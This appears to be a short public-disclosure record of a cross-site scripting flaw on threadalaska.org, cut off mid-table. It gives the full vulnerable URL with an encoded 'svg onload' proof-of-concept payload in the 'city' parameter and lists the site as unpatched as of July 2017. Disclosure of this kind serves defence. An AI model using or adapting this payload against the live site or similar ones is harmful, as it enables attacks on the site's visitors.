threadalaska.org XSS vulnerability

Vulnerable URL: https://threadalaska.org/calendar/actevent-list.cfm?city=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4911014 Google...